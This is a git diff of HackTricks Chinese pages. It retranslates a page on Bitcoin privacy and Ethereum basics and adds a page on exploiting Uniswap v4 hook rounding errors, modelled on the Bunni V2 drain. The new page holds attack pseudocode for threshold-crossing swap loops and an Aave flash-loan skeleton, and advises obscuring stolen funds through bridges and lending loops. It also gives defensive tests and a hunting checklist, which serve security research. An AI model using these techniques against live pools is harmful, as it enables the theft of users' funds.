-## 比特币基础知识 +## 比特币基础 ### 交易 -比特币交易涉及在地址之间转移资金。交易通过数字签名进行验证，确保只有私钥的所有者可以发起转账。 +比特币交易涉及在地址之间转移资金。交易通过数字签名进行验证，确保只有私钥的拥有者可以发起转账。 #### 关键组成部分： -- **多重签名交易** 需要多个签名来授权交易。 -- 交易由 **输入**（资金来源）、**输出**（目的地）、**费用**（支付给矿工）和 **脚本**（交易规则）组成。 +- **Multisignature Transactions** 需要多个签名来授权交易。 +- 交易由 **inputs**（资金来源）、**outputs**（目标地址）、**fees**（支付给矿工的费用）和 **scripts**（交易规则）组成。 -### 闪电网络 +### Lightning Network -旨在通过允许在一个通道内进行多笔交易来增强比特币的可扩展性，仅将最终状态广播到区块链。 +旨在通过允许在通道内进行多次交易，仅将最终状态广播到区块链，从而提升比特币的可扩展性。 ## 比特币隐私问题 -隐私攻击，如 **共同输入所有权** 和 **UTXO找零地址检测**，利用交易模式。策略如 **混合器** 和 **CoinJoin** 通过模糊用户之间的交易链接来提高匿名性。 +隐私攻击如 **Common Input Ownership** 和 **UTXO Change Address Detection** 利用交易模式进行分析。使用 **Mixers** 和 **CoinJoin** 等策略可以通过混淆用户之间的交易关联来提升匿名性。 ## 匿名获取比特币 -方法包括现金交易、挖矿和使用混合器。**CoinJoin** 混合多笔交易以复杂化可追溯性，而 **PayJoin** 将CoinJoins伪装成常规交易以提高隐私。 +方法包括现金交易、挖矿和使用混合服务。**CoinJoin** 将多笔交易混合以增加可追踪性的难度，而 **PayJoin** 则将 CoinJoin 伪装成普通交易以获得更高隐私性。 -# 比特币隐私攻击 +# Bitcoin Privacy Atacks -# 比特币隐私攻击总结 +# 比特币隐私攻击概述 -在比特币的世界中，交易的隐私和用户的匿名性常常是关注的主题。以下是攻击者可能通过几种常见方法破坏比特币隐私的简化概述。 +在比特币世界中，交易隐私和用户匿名性常常受到关注。下面是几种常见的攻击方法的简要概述，说明攻击者如何破坏比特币隐私。 -## **共同输入所有权假设** +## **Common Input Ownership Assumption** -由于涉及的复杂性，来自不同用户的输入在单笔交易中组合的情况通常很少。因此，**同一交易中的两个输入地址通常被假定属于同一所有者**。 +由于将来自不同用户的 inputs 合并到单笔交易中通常较少见且复杂，因此 **同一交易中的两个输入地址通常被假定属于同一所有者**。 -## **UTXO找零地址检测** +## **UTXO Change Address Detection** -UTXO，或 **未花费交易输出**，必须在交易中完全花费。如果只有一部分发送到另一个地址，剩余部分将转到新的找零地址。观察者可以假设这个新地址属于发送者，从而损害隐私。 +UTXO，即 **Unspent Transaction Output（未花费交易输出）**，在交易中必须全部被消费。如果只把它的一部分发送到另一个地址，剩余部分会发送到新的 change 地址。观察者可以假定这个新地址属于发送方，从而导致隐私泄露。 ### 示例 -为了解决这个问题，混合服务或使用多个地址可以帮助模糊所有权。 +为减轻此问题，可以使用混合服务或使用多个地址来帮助模糊所有权。 -## **社交网络与论坛曝光** +## **社交网络与论坛暴露** -用户有时在网上分享他们的比特币地址，使得 **很容易将地址与其所有者关联**。 +用户有时会在网上分享他们的比特币地址，使得**很容易将地址与其所有者关联**。 ## **交易图分析** -交易可以被可视化为图形，揭示基于资金流动的用户之间的潜在连接。 +交易可以被可视化为图，从资金流向中揭示用户之间的潜在关联。 -## **不必要输入启发式（最优找零启发式）** +## **不必要输入启发式（Optimal Change Heuristic）** -该启发式基于分析具有多个输入和输出的交易，以猜测哪个输出是返回给发送者的找零。 +该启发式基于分析含有多个 inputs 和 outputs 的交易来猜测哪个 output 是返回给发送者的找零地址。 ### 示例 ```bash 2 btc --> 4 btc 3 btc 1 btc ``` -如果添加更多输入使得变化输出大于任何单一输入，它可能会混淆启发式分析。 +如果添加更多的输入使得找零输出比任何单个输入都大，会让该启发式算法产生混淆。 ## **强制地址重用** -攻击者可能会向之前使用过的地址发送少量资金，希望收款人将这些资金与未来交易中的其他输入结合，从而将地址链接在一起。 +攻击者可能会向以前使用过的地址发送少量比特币，希望收款人在未来的交易中将这些与其他输入合并，从而将地址关联起来。 ### 正确的钱包行为 -钱包应避免使用在已经使用过的空地址上收到的币，以防止这种隐私泄露。 +钱包应避免使用在已使用且为空的地址上接收到的币，以防止这种隐私 leak。 ## **其他区块链分析技术** -- **确切的支付金额：** 没有找零的交易很可能是在两个由同一用户拥有的地址之间进行的。 -- **整数金额：** 交易中的整数金额表明这是一次支付，而非整数输出很可能是找零。 -- **钱包指纹识别：** 不同的钱包具有独特的交易创建模式，允许分析师识别所使用的软件以及可能的找零地址。 -- **金额与时间相关性：** 公开交易时间或金额可能使交易可追踪。 +- **Exact Payment Amounts:** 没有找零的交易很可能是两个属于同一用户的地址之间的交易。 +- **Round Numbers:** 交易中的整数金额表明这是一次付款，非整数的输出很可能是找零。 +- **Wallet Fingerprinting:** 不同钱包有独特的交易创建模式，分析人员可以据此识别所使用的软件并可能找出找零地址。 +- **Amount & Timing Correlations:** 披露交易时间或金额可以使交易可被追踪。 -## **流量分析** +## **Traffic Analysis** -通过监控网络流量，攻击者可能将交易或区块与IP地址关联，从而危及用户隐私。如果一个实体运营多个比特币节点，这种情况尤其明显，因为这增强了他们监控交易的能力。 +通过监控网络流量，攻击者可能将交易或区块与 IP 地址关联，进而破坏用户隐私。如果某个实体运行大量 Bitcoin 节点，他们监视交易的能力会增强。 -## 更多 +## More -有关隐私攻击和防御的全面列表，请访问 [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy)。 +要查看全面的隐私攻击和防御列表，请访问 [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy). -# 匿名比特币交易 +# 匿名 Bitcoin 交易 -## 匿名获取比特币的方法 +## 以匿名方式获取比特币的方式 -- **现金交易：** 通过现金获取比特币。 -- **现金替代品：** 购买礼品卡并在线兑换比特币。 -- **挖矿：** 通过挖矿获得比特币是最私密的方法，尤其是单独进行时，因为挖矿池可能知道矿工的IP地址。 [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining) -- **盗窃：** 理论上，盗窃比特币可能是另一种匿名获取比特币的方法，尽管这是非法的且不推荐。 +- **Cash Transactions**: 通过现金获取比特币。 +- **Cash Alternatives**: 购买礼品卡并在线兑换为比特币。 +- **Mining**: 获得比特币最私密的方式是通过挖矿，尤其是独自挖矿，因为矿池可能会知道矿工的 IP 地址。 [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining) +- **Theft**: 理论上，偷窃比特币也可能是另一种匿名获取方式，但这是非法且不推荐的。 -## 混合服务 +## 混币服务 -通过使用混合服务，用户可以**发送比特币**并接收**不同的比特币作为回报**，这使得追踪原始所有者变得困难。然而，这需要对服务的信任，以确保其不保留日志并实际返回比特币。替代的混合选项包括比特币赌场。 +通过使用混币服务，用户可以发送比特币并收到不同的比特币作为回报，从而使追踪原始所有者变得困难。然而，这需要信任该服务不会保留日志并且确实会返还比特币。替代的混币选项包括比特币赌场。 ## CoinJoin -**CoinJoin** 将来自不同用户的多个交易合并为一个，复杂化了任何试图将输入与输出匹配的过程。尽管其有效性，具有独特输入和输出大小的交易仍然可能被追踪。 +CoinJoin 将来自不同用户的多个交易合并为一个，这使得试图将输入与输出匹配的工作变得复杂。尽管它有效，但具有独特输入和输出大小的交易仍可能被追踪。 -可能使用CoinJoin的示例交易包括 `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` 和 `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`。 +示例交易（可能使用了 CoinJoin）包括 `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` 和 `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`。 -有关更多信息，请访问 [CoinJoin](https://coinjoin.io/en)。有关以太坊上的类似服务，请查看 [Tornado Cash](https://tornado.cash)，它通过矿工的资金匿名化交易。 +欲了解更多信息，请访问 [CoinJoin](https://coinjoin.io/en)。对于以太坊上的类似服务，请查看 [Tornado Cash](https://tornado.cash)，它使用来自矿工的资金来匿名化交易。 ## PayJoin -**PayJoin**（或P2EP）是CoinJoin的一种变体，在两个参与方（例如，客户和商家）之间伪装交易为常规交易，而没有CoinJoin特有的相等输出特征。这使得检测变得极其困难，并可能使交易监控实体使用的共同输入所有权启发式失效。 +作为 CoinJoin 的一种变体，PayJoin（或 P2EP）将两方（例如客户和商家）之间的交易伪装成普通交易，而不具有 CoinJoin 那种特征性的相等输出。这使得它极难被检测，可能使交易监控机构使用的 common-input-ownership heuristic 失效。 ```plaintext 2 btc --> 3 btc 5 btc 4 btc ``` -像上面这样的交易可能是 PayJoin，增强隐私，同时与标准比特币交易无异。 +像上面这样的交易可能是 PayJoin，它在增强隐私的同时仍与标准 bitcoin 交易无法区分。 -**PayJoin 的使用可能会显著破坏传统监控方法**，使其在追求交易隐私方面成为一个有前景的发展。 +**使用 PayJoin 可能会显著破坏传统的监控方法**，因此在追求交易隐私方面它是一项很有前途的发展。 -# 加密货币隐私的最佳实践 +# 加密货币隐私最佳实践 ## **钱包同步技术** -为了维护隐私和安全，与区块链同步钱包至关重要。有两种方法脱颖而出： +为了维护隐私和安全，将钱包与区块链同步至关重要。有两种突出的同步方法： -- **全节点**：通过下载整个区块链，全节点确保最大隐私。所有曾经进行的交易都存储在本地，使对手无法识别用户感兴趣的交易或地址。 -- **客户端区块过滤**：此方法涉及为区块链中的每个区块创建过滤器，使钱包能够识别相关交易，而不向网络观察者暴露特定兴趣。轻量级钱包下载这些过滤器，仅在找到与用户地址匹配时才获取完整区块。 +- **完整节点 (Full node)**：通过下载整个区块链，完整节点能确保最大的隐私。所有历史交易都保存在本地，这使得对手无法识别用户感兴趣的是哪些交易或地址。 +- **客户端区块过滤 (Client-side block filtering)**：该方法为区块链中的每个区块创建过滤器，允许钱包识别相关交易而不会向网络观察者暴露特定兴趣。轻量级钱包下载这些过滤器，只有在与用户地址匹配时才获取完整区块。 -## **利用 Tor 实现匿名性** +## **使用 Tor 以实现匿名性** -鉴于比特币在点对点网络上运行，建议使用 Tor 来掩盖您的 IP 地址，在与网络交互时增强隐私。 +鉴于 Bitcoin 在点对点网络上运行，建议使用 Tor 来掩盖你的 IP 地址，从而在与网络交互时增强隐私。 ## **防止地址重用** -为了保护隐私，使用新地址进行每笔交易至关重要。重用地址可能会通过将交易链接到同一实体而危及隐私。现代钱包通过其设计来阻止地址重用。 +为了保护隐私，每笔交易使用新的地址至关重要。重用地址会通过将交易链接到同一实体而危及隐私。现代钱包通过设计来不鼓励地址重用。 ## **交易隐私策略** -- **多笔交易**：将支付拆分为几笔交易可以模糊交易金额，从而阻止隐私攻击。 -- **避免找零**：选择不需要找零输出的交易可以通过破坏找零检测方法来增强隐私。 -- **多个找零输出**：如果无法避免找零，生成多个找零输出仍然可以改善隐私。 +- **多笔交易 (Multiple transactions)**：将一笔支付拆分为多笔交易可以混淆交易金额，从而阻止隐私攻击。 +- **避免找零 (Change avoidance)**：选择不需要找零输出的交易可以通过打乱找零检测方法来增强隐私。 +- **多个找零输出 (Multiple change outputs)**：如果无法避免找零，生成多个找零输出仍然可以提高隐私。 -# **门罗币：匿名性的灯塔** +# **Monero：匿名的灯塔** -门罗币满足数字交易中对绝对匿名性的需求，为隐私设定了高标准。 +Monero 解决了数字交易中对绝对匿名性的需求，为隐私设定了高标准。 -# **以太坊：燃料费和交易** +# **Ethereum：Gas 与交易** -## **理解燃料费** +## **理解 Gas** -燃料费衡量在以太坊上执行操作所需的计算工作量，以 **gwei** 计价。例如，一笔交易的费用为 2,310,000 gwei（或 0.00231 ETH），涉及燃料限制和基本费用，并向矿工提供小费以激励他们。用户可以设置最高费用，以确保他们不会支付过多，超出部分会被退还。 +Gas 衡量在 Ethereum 上执行操作所需的计算量，价格以 **gwei** 计。例如，耗费 2,310,000 gwei（或 0.00231 ETH）的交易涉及 gas 限额和基础费，并可附加小费以激励矿工。用户可以设置最高费用以确保不会多付，超额部分会被退还。 ## **执行交易** -以太坊中的交易涉及发送者和接收者，可以是用户或智能合约地址。它们需要支付费用并且必须被挖掘。交易中的关键信息包括接收者、发送者的签名、价值、可选数据、燃料限制和费用。值得注意的是，发送者的地址是从签名中推导出来的，因此在交易数据中不需要它。 +在 Ethereum 中，交易涉及发送方和接收方，两者都可以是用户地址或 smart contract 地址。交易需要支付费用并且必须被挖矿。交易中的关键信息包括接收方、发送方的签名、金额、可选数据、gas 限额和费用。值得注意的是，发送方的地址是从签名中推导出来的，因此无需在交易数据中显式包含发送方地址。 -这些实践和机制是任何希望参与加密货币，同时优先考虑隐私和安全的人的基础。 +这些做法和机制是任何在优先考虑隐私与安全的前提下参与加密货币的人必须掌握的基础。 -## 参考文献 +## References - [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake) - [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/) @@ -179,4 +181,12 @@ UTXO，或 **未花费交易输出**，必须在交易中完全花费。如果 - [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/) - [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced_address_reuse) +## DeFi/AMM 利用 + +如果你在研究对 DEXes 和 AMMs 的实际利用（Uniswap v4 hooks、rounding/precision abuse、flash‑loan amplified threshold‑crossing swaps），请查看： + +{{#ref}} +defi-amm-hook-precision.md +{{#endref}} + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md b/src/blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md new file mode 100644 index 000000000..1ea0adb02 --- /dev/null +++ b/src/blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md @@ -0,0 +1,160 @@ +# DeFi/AMM 利用：Uniswap v4 Hook 精度/舍入 滥用 + +{{#include ../../banners/hacktricks-training.md}} + +本页记录了一类针对 Uniswap v4 风格 DEX 的 DeFi/AMM 利用技术，这类 DEX 在核心数学之上扩展了自定义 hooks。近期 Bunni V2 的一起事件利用了在每次 swap 上执行的 Liquidity Distribution Function (LDF) 中的舍入/精度缺陷，使攻击者能够累积正向 credit 并抽干流动性。 + +关键思想：如果一个 hook 实现了依赖定点数运算、tick 舍入和阈值逻辑的额外记账，攻击者可以构造精确的 exact‑input swaps 去跨越特定阈值，从而使舍入差异朝有利于攻击者的方向累积。重复该模式然后提取被放大的余额即可实现利润，通常用 flash loan 提供资金。 + +## 背景：Uniswap v4 hooks 和 swap 流程 + +- Hooks 是 PoolManager 在特定生命周期点调用的合约（例如 beforeSwap/afterSwap、beforeAddLiquidity/afterAddLiquidity、beforeRemoveLiquidity/afterRemoveLiquidity）。 +- Pools 使用包含 hooks 地址的 PoolKey 初始化。如果非零，PoolManager 会在每次相关操作上执行回调。 +- 核心数学使用诸如 Q64.96 的定点格式用于 sqrtPriceX96，并使用基于 1.0001^tick 的 tick 算术。任何叠加的自定义数学必须小心匹配舍入语义以避免不变量漂移。 +- Swaps 可以是 exactInput 或 exactOutput。在 v3/v4 中，价格沿 tick 移动；跨越 tick 边界可能激活/停用区间流动性。Hooks 可能在阈值/tick 跨越时实现额外逻辑。 + +## 漏洞原型：阈值跨越的精度/舍入漂移 + +自定义 hook 中常见的易受攻击模式： + +1. Hook 使用整数除法、mulDiv 或定点转换（例如用 sqrtPrice 和 tick 范围在 token ↔ liquidity 之间转换）来计算每次 swap 的流动性或余额增量。 +2. 阈值逻辑（例如再平衡、分步重分配或按区间激活）在 swap 大小或价格移动跨越内部边界时触发。 +3. 在前向计算和结算路径之间不一致地应用舍入（例如向零截断、floor 与 ceil 的差异）。小的差异不会相互抵消，反而记入调用者的账户。 +4. 精确的 exact‑input swaps 被精心设计为跨越这些边界并重复收割正向舍入余数。攻击者随后提取累计的 credit。 + +攻击先决条件 +- 池使用对每次 swap 执行额外数学的自定义 v4 hook（例如 LDF/rebalancer）。 +- 至少存在一条执行路径使舍入在阈值跨越时有利于 swap 发起者。 +- 能够原子地重复许多 swaps（flash loans 非常适合提供临时资金并摊薄 gas 成本）。 + +## 实际攻击方法论 + +1) 识别带有 hooks 的候选池 +- 枚举 v4 池并检查 PoolKey.hooks != address(0)。 +- 检查 hook 的 bytecode/ABI，查找回调：beforeSwap/afterSwap 及任何自定义的 rebalancing 方法。 +- 寻找那种会：按流动性除法、在 token 数量与流动性之间转换，或聚合 BalanceDelta 且带有舍入的数学逻辑。 + +2) 建模 hook 的数学与阈值 +- 还原 hook 的流动性/重分配公式：输入通常包括 sqrtPriceX96、tickLower/Upper、currentTick、fee tier 和净流动性。 +- 映射阈值/步进函数：ticks、bucket 边界或 LDF 分段点。确定在每个边界的哪一侧 delta 会被舍入。 +- 找出在哪些地方进行 uint256/int256 之间的转换、使用 SafeCast，或依赖隐式 floor 的 mulDiv。 + +3) 校准精确输入以跨越边界 +- 使用 Foundry/Hardhat 模拟来计算将价格刚好跨过边界并触发 hook 分支所需的最小 Δin。 +- 验证 afterSwap 结算后是否记入调用者的金额多于成本，留下正的 BalanceDelta 或 hook 的记账信用。 +- 重复 swaps 以累计 credit；然后调用 hook 的提现/结算路径。 + +示例 Foundry‑style 测试 harness（伪代码） +```solidity +function test_precision_rounding_abuse() public { +// 1) Arrange: set up pool with hook +PoolKey memory key = PoolKey({ +currency0: USDC, +currency1: USDT, +fee: 500, // 0.05% +tickSpacing: 10, +hooks: address(bunniHook) +}); +pm.initialize(key, initialSqrtPriceX96); + +// 2) Determine a boundary‑crossing exactInput +uint256 exactIn = calibrateToCrossThreshold(key, targetTickBoundary); + +// 3) Loop swaps to accrue rounding credit +for (uint i; i < N; ++i) { +pm.swap( +key, +IPoolManager.SwapParams({ +zeroForOne: true, +amountSpecified: int256(exactIn), // exactInput +sqrtPriceLimitX96: 0 // allow tick crossing +}), +"" +); +} + +// 4) Realize inflated credit via hook‑exposed withdrawal +bunniHook.withdrawCredits(msg.sender); +} +``` +校准 exactInput +- 计算 tick 步长对应的 ΔsqrtP：sqrtP_next = sqrtP_current × 1.0001^(Δtick)。 +- 使用 v3/v4 公式近似 Δin：Δx ≈ L × (ΔsqrtP / (sqrtP_next × sqrtP_current))。确保舍入方向与核心实现的数学一致。 +- 在边界附近将 Δin 上下调整 ±1 wei，以找到 hook 对你有利的舍入分支。 + +4) 使用 flash loans 放大 +- 借入大额名义资金（例如 3M USDT 或 2000 WETH），以在原子交易中运行多次迭代。 +- 执行已校准的 swap 循环，然后在 flash loan callback 中提取并偿还。 + +Aave V3 flash loan skeleton +```solidity +function executeOperation( +address[] calldata assets, +uint256[] calldata amounts, +uint256[] calldata premiums, +address initiator, +bytes calldata params +) external returns (bool) { +// run threshold‑crossing swap loop here +for (uint i; i < N; ++i) { +_exactInBoundaryCrossingSwap(); +} +// realize credits / withdraw inflated balances +bunniHook.withdrawCredits(address(this)); +// repay +for (uint j; j < assets.length; ++j) { +IERC20(assets[j]).approve(address(POOL), amounts[j] + premiums[j]); +} +return true; +} +``` +5) 退出与跨链复制 +- 如果 hooks 部署在多条链上，对每条链重复相同的校准。 +- 通过桥接将资金回到目标链，并可选择通过借贷协议循环以混淆资金流。 + +## hook 数学中的常见根本原因 + +- Mixed rounding semantics: mulDiv floors while later paths effectively round up; or conversions between token/liquidity apply different rounding. +- Tick alignment errors: using unrounded ticks in one path and tick‑spaced rounding in another. +- BalanceDelta sign/overflow issues when converting between int256 and uint256 during settlement. +- Precision loss in Q64.96 conversions (sqrtPriceX96) not mirrored in reverse mapping. +- Accumulation pathways: per‑swap remainders tracked as credits that are withdrawable by the caller instead of being burned/zero‑sum. + +## 防御性建议 + +- Differential testing: mirror the hook’s math vs a reference implementation using high‑precision rational arithmetic and assert equality or bounded error that is always adversarial (never favorable to caller). +- Invariant/property tests: +- Sum of deltas (tokens, liquidity) across swap paths and hook adjustments must conserve value modulo fees. +- No path should create positive net credit for the swap initiator over repeated exactInput iterations. +- Threshold/tick boundary tests around ±1 wei inputs for both exactInput/exactOutput. +- Rounding policy: centralize rounding helpers that always round against the user; eliminate inconsistent casts and implicit floors. +- Settlement sinks: accumulate unavoidable rounding residue to protocol treasury or burn it; never attribute to msg.sender. +- Rate‑limits/guardrails: minimum swap sizes for rebalancing triggers; disable rebalances if deltas are sub‑wei; sanity‑check deltas against expected ranges. +- Review hook callbacks holistically: beforeSwap/afterSwap and before/after liquidity changes should agree on tick alignment and delta rounding. + +## Case study: Bunni V2 (2025‑09‑02) + +- Protocol: Bunni V2 (Uniswap v4 hook) with an LDF applied per swap to rebalance. +- Root cause: rounding/precision error in LDF liquidity accounting during threshold‑crossing swaps; per‑swap discrepancies accrued as positive credits for the caller. +- Ethereum leg: attacker took a ~3M USDT flash loan, performed calibrated exact‑input swaps on USDC/USDT to build credits, withdrew inflated balances, repaid, and routed funds via Aave. +- UniChain leg: repeated the exploit with a 2000 WETH flash loan, siphoning ~1366 WETH and bridging to Ethereum. +- Impact: ~USD 8.3M drained across chains. No user interaction required; entirely on‑chain. + +## Hunting checklist + +- Does the pool use a non‑zero hooks address? Which callbacks are enabled? +- Are there per‑swap redistributions/rebalances using custom math? Any tick/threshold logic? +- Where are divisions/mulDiv, Q64.96 conversions, or SafeCast used? Are rounding semantics globally consistent? +- Can you construct Δin that barely crosses a boundary and yields a favorable rounding branch? Test both directions and both exactInput and exactOutput. +- Does the hook track per‑caller credits or deltas that can be withdrawn later? Ensure residue is neutralized. + +## References + +- [Bunni V2 Exploit: $8.3M Drained via Liquidity Flaw (summary)](https://quillaudits.medium.com/bunni-v2-exploit-8-3m-drained-50acbdcd9e7b) +- [Bunni V2 Exploit: Full Hack Analysis](https://www.quillaudits.com/blog/hack-analysis/bunni-v2-exploit) +- [Uniswap v4 background (QuillAudits research)](https://www.quillaudits.com/research/uniswap-development) +- [Liquidity mechanics in Uniswap v4 core](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/liquidity-mechanics-in-uniswap-v4-core) +- [Swap mechanics in Uniswap v4 core](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/swap-mechanics-in-uniswap-v4-core) +- [Uniswap v4 Hooks and Security Considerations](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/uniswap-v4-hooks-and-security) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/crypto-and-stego/blockchain-and-crypto-currencies.md b/src/crypto-and-stego/blockchain-and-crypto-currencies.md deleted file mode 100644 index 433e0b553..000000000 --- a/src/crypto-and-stego/blockchain-and-crypto-currencies.md +++ /dev/null @@ -1,182 +0,0 @@ -{{#include ../banners/hacktricks-training.md}} - -## 基本概念 - -- **智能合约** 被定义为在区块链上执行的程序，当满足特定条件时，自动化协议执行，无需中介。 -- **去中心化应用（dApps）** 基于智能合约构建，具有用户友好的前端和透明、可审计的后端。 -- **代币与币** 区分开来，币作为数字货币，而代币在特定上下文中代表价值或所有权。 -- **实用代币** 授予对服务的访问权限，**安全代币** 表示资产所有权。 -- **DeFi** 代表去中心化金融，提供无中央权威的金融服务。 -- **DEX** 和 **DAO** 分别指去中心化交易平台和去中心化自治组织。 - -## 共识机制 - -共识机制确保区块链上安全和一致的交易验证： - -- **工作量证明（PoW）** 依赖计算能力进行交易验证。 -- **权益证明（PoS）** 要求验证者持有一定数量的代币，相较于PoW减少能耗。 - -## 比特币基础知识 - -### 交易 - -比特币交易涉及在地址之间转移资金。交易通过数字签名进行验证，确保只有私钥的拥有者可以发起转账。 - -#### 关键组件： - -- **多重签名交易** 需要多个签名来授权交易。 -- 交易由 **输入**（资金来源）、**输出**（目的地）、**费用**（支付给矿工）和 **脚本**（交易规则）组成。 - -### 闪电网络 - -旨在通过允许在一个通道内进行多笔交易来增强比特币的可扩展性，仅将最终状态广播到区块链。 - -## 比特币隐私问题 - -隐私攻击，如 **共同输入所有权** 和 **UTXO找零地址检测**，利用交易模式。策略如 **混合器** 和 **CoinJoin** 通过模糊用户之间的交易链接来提高匿名性。 - -## 匿名获取比特币 - -方法包括现金交易、挖矿和使用混合器。**CoinJoin** 混合多笔交易以复杂化可追溯性，而 **PayJoin** 将CoinJoins伪装成常规交易以增强隐私。 - -# 比特币隐私攻击 - -# 比特币隐私攻击总结 - -在比特币的世界中，交易的隐私和用户的匿名性常常是关注的主题。以下是攻击者可能通过几种常见方法破坏比特币隐私的简化概述。 - -## **共同输入所有权假设** - -由于涉及的复杂性，不同用户的输入在单笔交易中组合的情况通常很少。因此，**同一交易中的两个输入地址通常被假定属于同一所有者**。 - -## **UTXO找零地址检测** - -UTXO，或 **未花费交易输出**，必须在交易中完全花费。如果只有一部分发送到另一个地址，剩余部分将转到一个新的找零地址。观察者可以假设这个新地址属于发送者，从而损害隐私。 - -### 示例 - -为减轻此问题，混合服务或使用多个地址可以帮助模糊所有权。 - -## **社交网络与论坛曝光** - -用户有时在网上分享他们的比特币地址，使得 **很容易将地址与其所有者关联**。 - -## **交易图分析** - -交易可以被可视化为图形，揭示基于资金流动的用户之间的潜在连接。 - -## **不必要输入启发式（最佳找零启发式）** - -该启发式基于分析具有多个输入和输出的交易，以猜测哪个输出是返回给发送者的找零。 - -### 示例 -```bash -2 btc --> 4 btc -3 btc 1 btc -``` -如果添加更多输入使得变化输出大于任何单一输入，它可能会混淆启发式分析。 - -## **强制地址重用** - -攻击者可能会向之前使用过的地址发送少量资金，希望收款人将这些资金与未来交易中的其他输入合并，从而将地址链接在一起。 - -### 正确的钱包行为 - -钱包应避免使用在已经使用过的空地址上收到的硬币，以防止这种隐私泄露。 - -## **其他区块链分析技术** - -- **确切支付金额：** 没有找零的交易很可能是在两个由同一用户拥有的地址之间进行的。 -- **整数金额：** 交易中的整数金额表明这是一次支付，而非整数输出很可能是找零。 -- **钱包指纹识别：** 不同的钱包具有独特的交易创建模式，允许分析师识别所使用的软件，并可能识别找零地址。 -- **金额与时间相关性：** 公开交易时间或金额可能使交易可追踪。 - -## **流量分析** - -通过监控网络流量，攻击者可以潜在地将交易或区块与IP地址关联，从而危及用户隐私。如果一个实体运营多个比特币节点，这种情况尤其明显，增强了他们监控交易的能力。 - -## 更多 - -有关隐私攻击和防御的全面列表，请访问 [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy)。 - -# 匿名比特币交易 - -## 匿名获取比特币的方法 - -- **现金交易：** 通过现金获取比特币。 -- **现金替代品：** 购买礼品卡并在线兑换比特币。 -- **挖矿：** 通过挖矿获得比特币是最私密的方法，尤其是单独进行时，因为挖矿池可能知道矿工的IP地址。 [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining) -- **盗窃：** 理论上，盗窃比特币可能是另一种匿名获取比特币的方法，尽管这是非法的且不推荐。 - -## 混合服务 - -通过使用混合服务，用户可以**发送比特币**并**收到不同的比特币作为回报**，这使得追踪原始所有者变得困难。然而，这需要对服务的信任，以确保其不保留日志并实际返回比特币。替代的混合选项包括比特币赌场。 - -## CoinJoin - -**CoinJoin** 将来自不同用户的多个交易合并为一个，复杂化了任何试图将输入与输出匹配的过程。尽管其有效性，具有独特输入和输出大小的交易仍然可能被追踪。 - -可能使用 CoinJoin 的示例交易包括 `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` 和 `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`。 - -有关更多信息，请访问 [CoinJoin](https://coinjoin.io/en)。有关以太坊上的类似服务，请查看 [Tornado Cash](https://tornado.cash)，它通过矿工的资金匿名化交易。 - -## PayJoin - -**PayJoin**（或 P2EP）是 CoinJoin 的一种变体，它将两个参与方（例如，客户和商家）之间的交易伪装成常规交易，而没有 CoinJoin 特有的相等输出特征。这使得检测变得极其困难，并可能使交易监控实体使用的共同输入所有权启发式失效。 -```plaintext -2 btc --> 3 btc -5 btc 4 btc -``` -像上述交易可以是 PayJoin，增强隐私，同时与标准比特币交易无区别。 - -**PayJoin 的使用可能会显著破坏传统监控方法**，使其成为追求交易隐私的一个有前景的发展。 - -# 加密货币隐私的最佳实践 - -## **钱包同步技术** - -为了维护隐私和安全，与区块链同步钱包至关重要。有两种方法脱颖而出： - -- **全节点**：通过下载整个区块链，全节点确保最大隐私。所有曾经进行的交易都存储在本地，使对手无法识别用户感兴趣的交易或地址。 -- **客户端区块过滤**：此方法涉及为区块链中的每个区块创建过滤器，使钱包能够识别相关交易，而不向网络观察者暴露特定兴趣。轻量级钱包下载这些过滤器，仅在与用户地址匹配时获取完整区块。 - -## **利用 Tor 实现匿名性** - -鉴于比特币在点对点网络上运行，建议使用 Tor 来掩盖您的 IP 地址，在与网络互动时增强隐私。 - -## **防止地址重用** - -为了保护隐私，使用新地址进行每笔交易至关重要。重用地址可能会通过将交易链接到同一实体而危及隐私。现代钱包通过其设计来阻止地址重用。 - -## **交易隐私策略** - -- **多笔交易**：将支付拆分为几笔交易可以模糊交易金额，阻碍隐私攻击。 -- **避免找零**：选择不需要找零输出的交易可以通过干扰找零检测方法来增强隐私。 -- **多个找零输出**：如果无法避免找零，生成多个找零输出仍然可以改善隐私。 - -# **门罗币：匿名性的灯塔** - -门罗币满足数字交易中对绝对匿名性的需求，为隐私设定了高标准。 - -# **以太坊：燃料费和交易** - -## **理解燃料费** - -燃料费衡量在以太坊上执行操作所需的计算努力，以 **gwei** 定价。例如，一笔交易的费用为 2,310,000 gwei（或 0.00231 ETH），涉及燃料限制和基本费用，并向矿工提供小费以激励他们。用户可以设置最高费用，以确保他们不会支付过多，超出部分会退还。 - -## **执行交易** - -以太坊中的交易涉及发送者和接收者，可以是用户或智能合约地址。它们需要支付费用并且必须被挖掘。交易中的关键信息包括接收者、发送者的签名、金额、可选数据、燃料限制和费用。值得注意的是，发送者的地址是从签名中推导出来的，因此在交易数据中不需要它。 - 